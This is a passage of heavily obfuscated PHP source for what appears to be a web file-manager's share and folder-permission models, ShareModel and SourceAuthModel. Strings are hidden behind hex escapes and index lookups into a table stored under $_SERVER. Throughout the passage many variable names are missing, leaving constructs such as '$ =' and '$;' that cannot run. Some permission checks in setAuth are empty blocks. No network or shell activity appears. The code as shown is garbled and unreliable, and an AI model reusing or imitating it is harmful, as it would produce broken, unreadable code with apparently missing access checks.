} class ShareModel extends ModelBase { protected $tableName = "\x73\150\x61\162\x65"; protected $dataAuto = array(array("\155\x6f\144\151\146\171\124\x69\155\x65", "\164\151\155\145", "\x69\x6e\163\145\162\x74\x2c\165\x70\x64\141\164\145", "\x66\165\156\x63\x74\151\157\x6e"), array("\143\x72\x65\x61\164\x65\124\151\x6d\x65", "\x74\x69\155\x65", "\151\x6e\x73\x65\162\164", "\146\x75\x6e\143\164\x69\157\x6e"), array("\x6f\x70\164\x69\157\x6e\x73", '', "\x69\x6e\x73\145\x72\x74\54\x75\x70\144\141\164\x65\54\x73\x65\x6c\145\143\164", "\152\163\157\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = isset($[0]) ? $[0] : !1; return array($[1991] => array(USER_ID, $[1992]), $[1932] => array($, $[1993])); } protected function listSimple() { $ގ = array($_SERVER[][1663] => USER_ID); $߫ = $this->field($this->fieldList)->where($ގ)->select(); return $߫ ? $߫ : array(); } protected function getInfo($˭, $ܵ = false) { $Ïĕ =& $_SERVER[]; if ($ܵ) { return $this->_getShareInfo(array($Ïĕ[593] => $˭)); } $칑 = $this->cacheFunctionGet($Ïĕ[1934], $˭); return $칑; } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[][1994] => $)); } public function getInfoByPath($) { $˿ =& $_SERVER[]; $ = array($˿[1663] => USER_ID, $˿[402] => $); return $this->_getShareInfo($); } public function getInfoBySourcePath($ߑ) { $䌥 =& $_SERVER[]; $Ҩ = array($䌥[1663] => USER_ID, $䌥[1171] => $ߑ); return $this->_getShareInfo($Ҩ); } private function _getShareInfo($ǎ) { $⫆ =& $_SERVER[]; $ = $this->where($ǎ)->find(); if (!$) { return !1; } $ǎ = array($⫆[593] => $[$⫆[593]]); $ޝ = $⫆[1995]; $ا = Model($⫆[594])->order($⫆[399])->field($ޝ)->where($ǎ)->select(); if ($[$⫆[402]] == $⫆[198]) { $[$⫆[87]] = IO::info($[$⫆[1171]]); } else { $[$⫆[87]] = Model($⫆[1335])->pathInfo($[$⫆[402]]); } $[$⫆[1996]] = $ا; return $; } protected function getInfoAuth($) { $ =& $_SERVER[]; $Ɖ = $this->getInfo($); if ($Ɖ[$[1663]] == USER_ID) { $Ɖ[$[413]] = $Ɖ[$[87]][$[413]]; } else { $Ɖ[$[413]] = Model($[493])->authMake($Ɖ[$[1996]]); } return $Ɖ; } protected function listData($ = null, $ƺ = 300) { $¥⛁ =& $_SERVER[]; $۸ = array(array($¥⛁[488] => array($¥⛁[1008], 0), $¥⛁[591] => array($¥⛁[1008], 0), $¥⛁[1997] => $¥⛁[1950])); if ($ == $¥⛁[1998]) { $۸ = array($¥⛁[488] => 1); } else { if ($ == $¥⛁[1157]) { $۸ = array($¥⛁[591] => 1); } } $۸[$¥⛁[1663]] = USER_ID; $ = $this->where($۸)->selectPage($ƺ); return $; } protected function listToMe($IJ = 300) { $Ϧ =& $_SERVER[]; $ = Model($Ϧ[1999])->userGroupParents(USER_ID); $ـڑ = array($Ϧ[576] => SourceModel::TYPE_USER, $Ϧ[496] => USER_ID); if ($) { $ـڑ = array(array($Ϧ[576] => SourceModel::TYPE_USER, $Ϧ[496] => USER_ID), array($Ϧ[576] => SourceModel::TYPE_GROUP, $Ϧ[496] => array($Ϧ[7], $)), $Ϧ[1997] => $Ϧ[1950]); } $ = Model($Ϧ[594])->where($ـڑ)->selectPage($IJ); $ʓ = array_to_keyvalue_group($[$Ϧ[369]], $Ϧ[593]); if (!$ʓ) { return $; } $ = $Ϧ[2000]; $ـڑ = array($Ϧ[593] => array($Ϧ[418], array_keys($ʓ)), $Ϧ[1663] => array($Ϧ[1010], $Ϧ[198])); $ޞ = $this->field($)->where($ـڑ)->select(); foreach ($ޞ as $ɵ => &$) { $[$Ϧ[1996]] = $ʓ[$[$Ϧ[593]]]; } unset($); $Ȝ = array($Ϧ[2001] => $ޞ, $Ϧ[2002] => $[$Ϧ[366]]); return $Ȝ; } protected function shareAdd($̣, $) { $ =& $_SERVER[]; $ = $this->_addShareData($̣, $); if (!empty($[$[2003]])) { $this->_shareAuthSet($, $[$[2003]]); } $this->shareEventAdd($̣, $, $[2004]); return $; } protected function shareAddSystem($, $Įɉ) { $ =& $_SERVER[]; $ = $this->_addShareData($, $Įɉ, $[1280]); $this->_shareAuthSet($, $Įɉ[$[2003]]); return $; } private function shareEventAdd($, $;, $֯ = "\141\x64\x64") { $ؖ =& $_SERVER[]; if (!$ || $ == $ؖ[198]) { return; } if ($֯ == $ؖ[2004]) { if ($;[$ؖ[488]] == $ؖ[88]) { Model($ؖ[561])->eventShare($, $ؖ[2005]); } if ($;[$ؖ[591]] == $ؖ[88]) { Model($ؖ[561])->eventShare($, $ؖ[2006]); } return; } $ҍŚ = $this->getInfoByPath($); $ = $ؖ[2007]; if ($ҍŚ[$ؖ[488]] == $ؖ[198] && $;[$ؖ[488]] == $ؖ[88]) { $ = $ؖ[2005]; } if ($ҍŚ[$ؖ[488]] == $ؖ[88] && $;[$ؖ[488]] == $ؖ[198]) { $ = $ؖ[2008]; } if ($ҍŚ[$ؖ[591]] == $ؖ[198] && $;[$ؖ[591]] == $ؖ[88]) { $ = $ؖ[2006]; } if ($ҍŚ[$ؖ[591]] == $ؖ[88] && $;[$ؖ[591]] == $ؖ[198]) { $ = $ؖ[2009]; } Model($ؖ[561])->eventShare($, $); return; } private function _addShareData($, $附 = array(), $۲ = false) { $ɛ =& $_SERVER[]; $㞳 = $۲ == $ɛ[1280] ? 0 : USER_ID; $ = array($ɛ[417] => $, $ɛ[1654] => $㞳); if ($ == 0) { $ = array($ɛ[2010] => $附[$ɛ[1171]], $ɛ[1654] => $㞳); } if ($ = $this->where($)->find()) { return $[$ɛ[593]]; } if ($ == 0) { $م = array($ɛ[32] => get_path_this($附[$ɛ[84]])); } else { $م = Model($ɛ[822])->sourceInfo($); if (!$م) { return !1; } } if (!$附[$ɛ[1561]]) { $附[$ɛ[1561]] = $م[$ɛ[32]]; } $ = array($ɛ[1654] => $㞳, $ɛ[417] => $, $ɛ[1561] => $ɛ[12], $ɛ[488] => 0, $ɛ[591] => 0, $ɛ[1171] => $ɛ[12], $ɛ[307] => $ɛ[12], $ɛ[885] => $ɛ[12], $ɛ[2011] => 0, $ɛ[2012] => 0, $ɛ[758] => 0, $ɛ[2013] => $ɛ[12], $ɛ[1994] => $ɛ[12]); $ = explode($ɛ[50], $ɛ[2014]); foreach ($ as $Ìι) { if (!isset($附[$Ìι])) { continue; } $[$Ìι] = $附[$Ìι]; } $ = $this->add($); $͕ = array($ɛ[1994] => short_id($)); $this->where(array($ɛ[2015] => $))->save($͕); return $; } private function _shareAuthSet($, $ꋃ) { $ܩ̏ =& $_SERVER[]; if (!is_array($ꋃ)) { return !1; } $ئ = Model($ܩ̏[1960]); $ئ->where(array($ܩ̏[593] => $))->delete(); $ù = array(); foreach ($ꋃ as $) { $ľ = SourceModel::TYPE_USER; if ($[$ܩ̏[411]] == SourceModel::TYPE_GROUP) { $ľ = SourceModel::TYPE_GROUP; } $Ϻ = array($ܩ̏[593] => $, $ܩ̏[411] => $ľ, $ܩ̏[496] => intval($[$ܩ̏[496]]), $ܩ̏[1956] => 0, $ܩ̏[2016] => -1); if ($[$ܩ̏[1956]]) { $Ϻ[$ܩ̏[1956]] = $[$ܩ̏[1956]]; } else { if ($[$ܩ̏[2016]]) { $Ϻ[$ܩ̏[2016]] = $[$ܩ̏[2016]]; } } $ù[] = $Ϻ; } return $ئ->addAll($ù, array(), !0); } public function numViewAdd($) { $р =& $_SERVER[]; $ߧ = array($р[2015] => $); $this->where($ߧ)->setAdd($р[2011]); } public function numDownloadAdd($ْ) { $ =& $_SERVER[]; $ј = array($[2015] => $ْ); $this->where($ј)->setAdd($[2012]); } protected function shareEdit($Է, $ǝ) { $ıƭ =& $_SERVER[]; $ = $this->getInfo($Է); if (!$) { return !1; } $this->_checkLinkShare($ǝ, $); $ץƷ = array(); $ȅũ = explode($ıƭ[50], $ıƭ[2017]); foreach ($ȅũ as $¨ʜ) { if (!array_key_exists($¨ʜ, $ǝ)) { continue; } $ץƷ[$¨ʜ] = $ǝ[$¨ʜ]; } $this->shareEventAdd($[$ıƭ[402]], $ǝ, $ıƭ[1822]); $this->where(array($ıƭ[2015] => $Է))->save($ץƷ); if (isset($ǝ[$ıƭ[2003]])) { $this->_shareAuthSet($Է, $ǝ[$ıƭ[2003]]); } return !0; } private function _checkLinkShare($ѭĈ, $) { $ =& $_SERVER[]; if ($ѭĈ[$[488]] != $[88]) { return; } $Ӵ = $[$[87]][$[402]]; if ($[$[87]][$[33]] != $[200]) { $˂̂ = $this->_folderReport($Ӵ); if (!$˂̂) { return; } show_json(LNG($[2018]) . $[2019] . $˂̂, !1); } $ұ = Model($[822])->fileInfoGet($[$[87]][$[402]]); if (!$ұ) { return; } $ = $this->shareFileMeta($ұ[$[468]]); if (isset($[$[374]]) && $[$[374]] == $[88]) { show_json(LNG($[2020]), !1); } } private function _folderReport($ޚ) { $ =& $_SERVER[]; $ن = array($[468] => array($[1008], 0), $[746] => 3); $ = Model($[2021])->where($ن)->field($[468])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[468]); $ = $[50] . $ޚ . $[50]; $ن = array($[468] => array($[7], $), $[511] => array($[383], "\x25{$}\45"), $[431] => 0); $ = Model($[822])->where($ن)->field($[2022])->find(); if (!$) { return !1; } $ = substr($[$[511]], strpos($[$[511]], $)); $ن = array($[402] => array($[7], trim($, $[50]))); $ = Model($[822])->where($ن)->field($[32])->select(); $צ = array_to_keyvalue($, $[12], $[32]); $צ[] = $[$[32]]; return implode($[8], $צ); } protected function remove($) { $ʯܰ =& $_SERVER[]; if (is_array($)) { $ = array($ʯܰ[7], $); } $ɹ = array($ʯܰ[593] => $); $ӛ = $this->where($ɹ)->delete(); if ($ӛ) { Model($ʯܰ[594])->where(array($ʯܰ[593] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($ܭԲ = 0; $ܭԲ < count($); $ܭԲ++) { $͓ = $this->getInfo($[$ܭԲ]); if ($͓[$ʯܰ[591]] == $ʯܰ[88]) { Model($ʯܰ[561])->eventShare($͓[$ʯܰ[402]], $ʯܰ[2009]); } if ($͓[$ʯܰ[488]] == $ʯܰ[88]) { Model($ʯܰ[561])->eventShare($͓[$ʯܰ[402]], $ʯܰ[2008]); } } return $ӛ; } protected function removeBySource($ȼ) { $˦ެ =& $_SERVER[]; $ = array($˦ެ[417] => array($˦ެ[418], $ȼ)); $ů = $this->field($˦ެ[593])->where($)->select(); $ů = array_to_keyvalue($ů, $˦ެ[12], $˦ެ[593]); if (!$ů) { return; } $ = array($˦ެ[2015] => array($˦ެ[418], $ů)); $this->where($)->delete(); Model($˦ެ[594])->where($)->delete(); } public function listAll($趥) { $ӟ =& $_SERVER[]; $ = array(); if ($趥[$ӟ[1663]]) { $[$ӟ[1663]] = $趥[$ӟ[1663]]; } if ($趥[$ӟ[757]]) { $ = $趥[$ӟ[758]] ? $趥[$ӟ[758]] : strtotime(date($ӟ[2023])); $[$ӟ[201]] = array($ӟ[333], array($趥[$ӟ[757]], $)); } if ($趥[$ӟ[33]]) { $[$趥[$ӟ[33]]] = 1; } else { $[] = array($ӟ[488] => array($ӟ[1008], 0), $ӟ[591] => array($ӟ[1008], 0), $ӟ[1997] => $ӟ[1950]); } if ($趥[$ӟ[1946]]) { $[] = array($ӟ[1994] => $趥[$ӟ[1946]], $ӟ[1561] => array($ӟ[383], "\45{$趥[$ӟ[1946]]}\x25"), $ӟ[1997] => $ӟ[1950]); } $ǼК = $this->_makeOrder()->where($)->selectPage(20); if (empty($ǼК[$ӟ[369]])) { return array(); } $this->_listDataApply($ǼК[$ӟ[369]]); return $ǼК; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ъ =& $_SERVER[]; $ = array_to_keyvalue($, $ъ[12], $ъ[1663]); $ۧĥ = Model($ъ[525])->userListInfo(array_unique($)); $앶 = array_to_keyvalue($, $ъ[12], $ъ[402]); $ŵ = Model($ъ[822])->sourceListInfo($앶, !0); foreach ($ as $ => &$ؿٛ) { $ = $ؿٛ[$ъ[1663]]; $ؿٛ[$ъ[2024]] = $ۧĥ[$] ? $ۧĥ[$] : !1; $ = $ؿٛ[$ъ[402]]; $ؿٛ[$ъ[87]] = $ŵ[$] ? $ŵ[$] : !1; if ($ؿٛ[$ъ[87]][$ъ[431]] == $ъ[88]) { unset($[$]); } if ($ؿٛ[$ъ[87]] != $ъ[198] && !$ؿٛ[$ъ[87]]) { unset($[$]); } } unset($ؿٛ); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[201], $[758], $[2011], $[2012]); $ = array($[450] => $[451], $[452] => $[453]); $ = Input::get($[457], $[7], $[423], $); $垆 = Input::get($[458], $[7], $[2025], array($[1943], $[452])); $垆 = $[$垆]; $ = $ . "{$}\x20{$垆}"; return $this->order($); } public function reportAdd($⍉) { $Ӓ =& $_SERVER[]; $ = array($Ӓ[593] => $⍉[$Ӓ[593]], $Ӓ[1663] => USER_ID); if (Model($Ӓ[2021])->where($)->find()) { return !1; } $ϯ = array($Ӓ[593] => $⍉[$Ӓ[593]], $Ӓ[1561] => $⍉[$Ӓ[1561]], $Ӓ[402] => $⍉[$Ӓ[402]], $Ӓ[468] => $⍉[$Ӓ[468]], $Ӓ[1663] => USER_ID, $Ӓ[33] => $⍉[$Ӓ[33]], $Ӓ[453] => $⍉[$Ӓ[453]]); return Model($Ӓ[2021])->add($ϯ); } public function reportList($פ) { $؍ =& $_SERVER[]; $ = array(); if ($פ[$؍[757]]) { $ = $פ[$؍[758]] ? $פ[$؍[758]] : strtotime(date($؍[2023])); $[$؍[201]] = array($؍[333], array($פ[$؍[757]], $)); } if (isset($פ[$؍[33]]) && in_array($פ[$؍[33]], array($؍[88], $؍[437], $؍[2026], $؍[2027], $؍[2028]))) { $[$؍[33]] = $פ[$؍[33]]; } if (isset($פ[$؍[746]]) && in_array($פ[$؍[746]], array($؍[198], $؍[88], $؍[437], $؍[2026]))) { $[$؍[746]] = $פ[$؍[746]]; } $Ą = Input::get($؍[458], $؍[7], $؍[2025], array($؍[1943], $؍[452])); $궫 = array($؍[450] => $؍[451], $؍[452] => $؍[453]); $ = $؍[2029] . $궫[$Ą]; $в̪ = Model($؍[2021])->where($)->order($)->selectPage(20); if (empty($в̪[$؍[369]])) { return array(); } $Ē = array_to_keyvalue_group($в̪[$؍[369]], $؍[746], $؍[593]); if (!empty($Ē[0])) { $פ = $Ē[0]; $ = array($؍[593] => array($؍[7], $פ)); $ֈ = $this->where($)->field($؍[593])->select(); $ֈ = array_to_keyvalue($ֈ, $؍[12], $؍[593]); $£ = array_diff($פ, $ֈ); if (!empty($£)) { foreach ($в̪[$؍[369]] as $ޠ => $͓) { if (in_array($͓[$؍[593]], $£)) { unset($в̪[$؍[369]][$ޠ]); } } } } $this->_listDataApply($в̪[$؍[369]]); return $в̪; } public function reportStatus($Т) { $߹ =& $_SERVER[]; $ = array($߹[399] => $Т[$߹[399]]); $ = Model($߹[2021])->where($)->field($߹[2030])->find(); if (!$) { return !1; } $ס = array($߹[746] => $Т[$߹[746]]); if ($Т[$߹[746]] == $߹[2026] && $[$߹[746]] == $߹[2026]) { $ס[$߹[746]] = 0; } $ו = Model($߹[2021])->where($)->save($ס); if ($Т[$߹[746]] == $߹[437]) { if ($[$߹[468]] != $߹[198] && $this->shareFileMeta($[$߹[468]])) { $this->shareFileMeta($[$߹[468]], 0); } $this->remove($[$߹[593]]); return !0; } if ($ו && $Т[$߹[746]] == $߹[2026]) { $ = $ס[$߹[746]] == $߹[2026] ? 1 : 0; $this->shareFileMeta($[$߹[468]], $); $this->removeByFile($[$߹[468]]); } return $ו; } private function removeByFile($) { $Шѿ =& $_SERVER[]; $ = Model($Шѿ[822])->where(array($Шѿ[468] => $))->field($Шѿ[402])->select(); $٭ = array_to_keyvalue($, $Шѿ[12], $Шѿ[402]); $ǟ = array($Шѿ[402] => array($Шѿ[7], $٭), $Шѿ[488] => 1); $ = $this->where($ǟ)->field($Шѿ[593])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $Шѿ[12], $Шѿ[593]); $this->remove($); } private function shareFileMeta($Ĺ, $ = null) { $ا =& $_SERVER[]; $ý = array($ا[468] => $Ĺ, $ا[94] => $ا[2031]); if (is_null($)) { return Model($ا[2032])->where($ý)->find(); } $ý[$ا[374]] = $; Model($ا[2032])->add($ý, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\x6f\165\x72\x63\x65\137\141\x75\x74\150"; public function getAuth($) { $ۉ =& $_SERVER[]; $ = $this->sourceAuthSelect($); $˕ = array(); $Ɠ = array(); $π = 2 << 25; foreach ($ as $ʓ) { $ތ = Model($ۉ[498])->listData($ʓ[$ۉ[1956]]); if (!$ތ) { continue; } $˕[] = $ʓ; $ = 0; if ($ʓ[$ۉ[411]] == SourceModel::TYPE_GROUP) { $ = $π * 2; } if ($ʓ[$ۉ[411]] == SourceModel::TYPE_USER) { $ = $π; } if ($ʓ[$ۉ[411]] == SourceModel::TYPE_USER && $ʓ[$ۉ[496]] == $ۉ[198]) { $ = 0; } $Ɠ[] = $ތ[$ۉ[413]] + $; } array_multisort($Ɠ, SORT_DESC, $˕); return $˕; } public function sourceAuthSelect($) { $٫ =& $_SERVER[]; static $̵ = array(); $ֹ̓ = is_array($) ? !1 : !0; if ($ֹ̓) { $ = array($); } $ȷ = array(); foreach ($ as $Ƒ) { if (isset($̵[$Ƒ])) { $ȷ[$Ƒ] = $̵[$Ƒ]; } } if (count($ȷ) == count($)) { return $ֹ̓ ? $ȷ[$[0]] : $ȷ; } $Ś = $٫[2033]; $Ĉ = array($٫[402] => array($٫[7], $)); $ȃ = $this->field($Ś)->order($٫[399])->where($Ĉ)->select(); $ջ⛌ = array_to_keyvalue_group($ȃ, $٫[402]); foreach ($ as $Ƒ) { $̵[$Ƒ] = $ջ⛌[$Ƒ] ? $ջ⛌[$Ƒ] : array(); } if ($ֹ̓) { return $ȃ; } return $ջ⛌; } public function setAuth($, $) { $ƥ =& $_SERVER[]; $咒 = Model($ƥ[1335])->sourceInfo($); if (!$咒) { return !1; } if ($咒[$ƥ[411]] != SourceModel::TYPE_GROUP) { return !1; } $ᾚ = 1; $ = $咒[$ƥ[496]]; if ($ != $ᾚ) { $ = array($ƥ[1852] => $); $Ł = Model($ƥ[1942])->field($ƥ[1663])->where($)->select(); $Ł = array_to_keyvalue($Ł, $ƥ[12], $ƥ[1663]); } $ݗ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ȟȊ = array(); foreach ($ as $) { if (!in_array($[$ƥ[411]], $ݗ)) { show_json(LNG($ƥ[2034]), !1); } if ($ != $ᾚ) { if ($[$ƥ[411]] == SourceModel::TYPE_GROUP) { } if ($[$ƥ[496]] != 0 && !in_array($[$ƥ[496]], $Ł)) { } } if ($[$ƥ[496]] == 0) { $[$ƥ[411]] = SourceModel::TYPE_USER; } $ȟȊ[] = array($ƥ[402] => $, $ƥ[411] => intval($[$ƥ[411]]), $ƥ[496] => intval($[$ƥ[496]]), $ƥ[1956] => intval($[$ƥ[1956]]) ? intval($[$ƥ[1956]]) : 0, $ƥ[2016] => intval($[$ƥ[2016]]) ? intval($[$ƥ[2016]]) : -1); } $this->where(array($ƥ[417] => $))->delete(); $this->addAll($ȟȊ); return !0; } public function authClear($Ƈ) { $ =& $_SERVER[]; $ = Model($[1335])->sourceInfo($Ƈ); $ཬ = array($Ƈ); if ($[$[410]] == $[88]) { $ = array($[580] => array($[540], $[$[511]] . $Ƈ . $[541])); $ཬ = Model($[1335])->field($[417])->where($)->getField($[402], !0); $ཬ[] = $Ƈ; } $this->where(array($[417] => array($[418], $ཬ)))->delete(); return !0; } public function getAllChildren($̩߉) { $Ϩ =& $_SERVER[]; $؛ = Model($Ϩ[1335])->sourceInfo($̩߉); if ($؛[$Ϩ[410]] != $Ϩ[88]) { return $this->sourceListAuth(array($̩߉)); } if ($؛[$Ϩ[411]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($̩߉); if ($؛[$Ϩ[432]] == $Ϩ[198] && $؛[$Ϩ[496]] != $) { $ = $this->groupChidldAllRootSource($؛[$Ϩ[496]]); } $ү = $this->field($Ϩ[402])->group($Ϩ[402])->select(); $ү = array_to_keyvalue($ү, $Ϩ[12], $Ϩ[402]); if (!$ү) { return array(); } $ = $Ϩ[2035]; $ = array($Ϩ[402] => array($Ϩ[7], $ү), $Ϩ[431] => $Ϩ[198]); $ = Model($Ϩ[822])->field($)->where($)->select(); $ = array($̩߉); foreach ($ as $柯) { foreach ($ as $) { $ʷ = $Ϩ[50] . $ . $Ϩ[50]; $ʭ = $柯[$Ϩ[511]] . $柯[$Ϩ[402]] . $Ϩ[50]; if (strstr($ʭ, $ʷ)) { $[] = $柯[$Ϩ[402]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($۱̟) { $ӪĻ =& $_SERVER[]; $ק = Model($ӪĻ[1335])->sourceListInfo($۱̟, !0); $ = $this->sourceAuthSelect($۱̟); $Õ = array(); $⦘ = array(); foreach ($ק as $͢) { unset($͢[$ӪĻ[456]]); unset($͢[$ӪĻ[454]]); unset($͢[$ӪĻ[413]]); unset($͢[$ӪĻ[87]]); $Ŗ罹 = $[$͢[$ӪĻ[402]]]; if (!$Ŗ罹) { continue; } $͢[$ӪĻ[2036]] = $this->authTargetInfo($Ŗ罹); $͢[$ӪĻ[509]] = rtrim($͢[$ӪĻ[515]], $ӪĻ[8]) . $ӪĻ[8] . ltrim($͢[$ӪĻ[509]], $ӪĻ[8]); $Õ[] = $͢; $詡 = count(explode($ӪĻ[8], trim($͢[$ӪĻ[509]], $ӪĻ[8]))); $⦘[] = $詡 + ($͢[$ӪĻ[33]] == $ӪĻ[75] ? 0 : 1000); } array_multisort($⦘, SORT_ASC, $Õ); return $Õ; } private function groupChidldAllRootSource($Ҹ) { $А➧ =& $_SERVER[]; $ܩ = Model($А➧[2037])->groupChildrenAll($Ҹ); $ = array($А➧[432] => 0, $А➧[496] => array($А➧[7], $ܩ), $А➧[411] => SourceModel::TYPE_GROUP); $Ҭ = Model($А➧[822])->field($А➧[402])->where($)->select(); $Ҭ = array_to_keyvalue($Ҭ, $А➧[12], $А➧[402]); return $Ҭ; } private function authTargetInfo($) { $ =& $_SERVER[]; $ = array(); $ސ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($[498])->listData($[$[1956]]); if (!$) { continue; } if ($[$[411]] == SourceModel::TYPE_USER) { $ = Model($[504])->getInfoSimpleOuter($[$[496]]); if ($[$[1663]] == $[1184]) { continue; } if ($[$[1663]] == $[198]) { $[$[32]] = LNG($[2038]); } } else { $ = Model($[512])->getInfoSimple($[$[496]]); } if (!$) { continue; } $[$[467]] = $; $[] = $; $ = 0; if ($[$[411]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[411]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[411]] == SourceModel::TYPE_USER && $[$[496]] == $[198]) { $ = 0; } $ސ[] = $[$[413]] + $; } array_multisort($ސ, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $ݩ) { $ =& $_SERVER[]; $˹ = Model($[525])->getInfo($ݩ); if (!$ݩ || !$ || !$˹) { return array(); } $ɥ = Model($[1335])->sourceInfo($); $ = array(); $ڌ٥ = 1; if ($ɥ[$[432]] == $[198] && $ɥ[$[496]] != $ڌ٥ && $this->groupContainUser($ɥ[$[496]], $ݩ)) { foreach ($˹[$[2039]] as $籶) { $ = Model($[512])->getInfo($籶[$[1852]]); $ = Model($[525])->getInfoSimpleOuter($ݩ); $[$[467]] = $籶[$[413]]; if (Model($[498])->authCheckAction($籶[$[413]][$[413]], $[1873])) { continue; } $ = array($[32] => $[1204] . $[$[32]], $[402] => $[$[87]][$[402]], $[84] => KodIO::make($[$[87]][$[402]]), $[432] => $[198], $[411] => $[505], $[33] => $[544], $[509] => $[$[516]], $[1852] => $[$[1852]], $[513] => $[$[432]], $[2036] => array($)); $[$[$[402]]] = $; } } $ = array(); $Б = $this->getAllChildren($); foreach ($Б as $) { $瞢 = !1; foreach ($[$[2036]] as $) { if ($[$[1663]]) { if ($[$[1663]] == $ݩ) { $瞢 = !0; break; } } if ($[$[1852]]) { if ($this->groupContainUser($[$[1852]], $ݩ)) { $瞢 = !0; break; } } } if ($瞢) { $[] = $; } $¾ = $[$[402]]; if (isset($[$¾])) { $[$[2036]][] = $[$¾][0]; $[$¾] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($Ķ, $Ķ, $ԟ) { $ѧ =& $_SERVER[]; $ = $this->getAllChildrenByUser($Ķ, $Ķ); if (!$ԟ || !$) { return !1; } foreach ($ as $) { $̺ = array(); foreach ($[$ѧ[2036]] as $) { $ = $[$ѧ[467]]; $ݨ = $[$ѧ[1663]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$ѧ[1663]] ? $[$ѧ[1663]] : $[$ѧ[1852]]; if ($[$ѧ[1663]] && $[$ѧ[1663]] == $Ķ) { continue; } $̺[] = array($ѧ[402] => $[$ѧ[402]], $ѧ[411] => $ݨ, $ѧ[496] => intval($), $ѧ[1956] => isset($[$ѧ[399]]) ? intval($[$ѧ[399]]) : 0, $ѧ[2016] => isset($[$ѧ[2016]]) ? intval($[$ѧ[2016]]) : -1); } $̺[] = array($ѧ[402] => $[$ѧ[402]], $ѧ[411] => SourceModel::TYPE_USER, $ѧ[496] => intval($Ķ), $ѧ[1956] => intval($ԟ), $ѧ[2016] => -1); $this->where(array($ѧ[417] => $[$ѧ[402]]))->delete(); $this->addAll($̺); } return !0; } public function get($) { $۾ = $this->getSourceList(array($), !0); return $۾[0]; } public function getSourceList($, $ہ = false, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } $ۊ = Model($[1335]); if (!$ہ && count($) == 1) { $ہ = array(); $ہ[$[0]] = $ۊ->sourceInfo($[0]); } if (!$ہ) { $ = array($[417] => array($[418], $)); $ہ = $ۊ->field($[2040])->where($)->select(); $ہ = array_to_keyvalue($ہ, $[402]); } $ۮش = $; foreach ($ہ as $ => $) { $ = $ۊ->parentLevelArray($[$[511]]); $ۮش = array_merge($ۮش, array($), array_reverse($)); } $ۮش = array_values(array_unique($ۮش)); if (!$ۮش) { return array(); } $ = $this->sourceAuthSelect($ۮش); $ = array(); foreach ($ۮش as $Ս) { if (isset($[$Ս])) { $[$Ս] = $[$Ս]; } } $ҹҐ = $this->userIsRoot($); $ǠӅ = AuthModel::authAll(); $ή = array($[414] => $ǠӅ, $[2041] => array($[419] => 0, $[1858] => $ǠӅ, $[420] => LNG($[2042]), $[1875] => $[2043])); $ = array(); foreach ($ہ as $Ս => $) { if ($ҹҐ && $GLOBALS[$[6]][$[1871]]) { $[$Ս] = $ή; continue; } $[$Ս] = $this->makeSourceAuth($, $, $); } return $; } public function authDeepCheck($ШƑ, $ø = false) { $ =& $_SERVER[]; $ø = $ø ? $ø : USER_ID; $ = $this->makeAuthDeep($ø); if (!in_array($ШƑ, $[$[2044]])) { return !1; } $ = array(); foreach ($[$[2045]] as $ִǰ => $ŗ) { if (!in_array($ШƑ, $ŗ)) { continue; } $[] = $ִǰ; } if (!$) { return !1; } $ = $ ? $[0] : $ШƑ; return array($[414] => -1, $[467] => array($[419] => $[1184], $[1858] => $[198], $[420] => LNG($[2046]), $[1875] => $[2047]), $[2048] => LNG($[2049]), $[2050] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ĭ = false) { $ۥ =& $_SERVER[]; static $Ȕ = array(); $ĭ = $ĭ ? $ĭ : USER_ID; if (isset($Ȕ[$ĭ])) { return $Ȕ[$ĭ]; } $炻 = Model($ۥ[2051])->listData(); $Ż = array(); foreach ($炻 as $) { if ($[$ۥ[413]] == 0 && $[$ۥ[1874]] == $ۥ[88]) { $Ż[] = $[$ۥ[399]]; } } $ֱ = $this->userGroupParents($ĭ); $؞ = array($ۥ[411] => SourceModel::TYPE_USER, $ۥ[496] => $ĭ); if ($ֱ) { $؞ = array(array($ۥ[411] => SourceModel::TYPE_USER, $ۥ[496] => $ĭ), array($ۥ[411] => SourceModel::TYPE_GROUP, $ۥ[496] => array($ۥ[418], $ֱ)), $ۥ[996] => $ۥ[1950]); } $ = $this->field($ۥ[2052])->where($؞)->select(); $ = array(); $燹 = array_to_keyvalue_group($, $ۥ[402]); foreach ($燹 as $ => $) { $ڂ݀ = $this->authArrayCheck($, $ĭ); if ($ڂ݀[$ۥ[414]] > 0) { $[] = $ . $ۥ[12]; } } if ($ֱ) { $ = Model($ۥ[512]); foreach ($ֱ as $ڸ) { $ = $->getInfo($ڸ); if (!$ || !is_array($[$ۥ[87]])) { continue; } $[] = $[$ۥ[87]][$ۥ[402]]; } } $ώ = array(); $ = $ֱ; $ބ = Model($ۥ[1335]); $ = Model($ۥ[512]); $ҽ = array(); $þ = array(); $徺 = array(); $ؘ = array(); if ($) { $ݞ = $ބ->where(array($ۥ[402] => array($ۥ[418], $)))->select(); foreach ($ݞ as $ᷫ) { $՟ = $ބ->parentLevelArray($ᷫ[$ۥ[511]]); $ώ = array_merge($ώ, $՟); $[] = $ᷫ[$ۥ[496]]; $ҽ[$ᷫ[$ۥ[402]]] = $՟; $þ[$ᷫ[$ۥ[402]]] = $ᷫ[$ۥ[496]]; } } $ = array_values(array_unique($)); $֫ = $; foreach ($֫ as $ڸ) { $ = $->getInfo($ڸ); $՟ = $ބ->parentLevelArray($[$ۥ[511]]); $ = array_merge($, $՟); } $ = array_values(array_unique($)); foreach ($ as 